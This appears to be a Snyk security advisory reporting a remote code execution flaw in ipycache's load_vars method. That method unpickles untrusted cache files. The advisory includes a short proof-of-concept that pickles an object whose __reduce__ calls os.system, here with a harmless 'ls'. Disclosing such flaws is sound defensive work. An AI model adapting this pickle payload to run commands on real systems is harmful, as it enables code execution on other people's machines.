Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for ipycache
.
ipycache is a package that defines a %%cache
cell magic in the iPython
notebook to cache results of long-lasting computations in a persistent pickle file.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) in the ipycache.load_vars
method.
import os
import pickle
import ipycache
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
ipycache.load_vars('a-file.pickle','')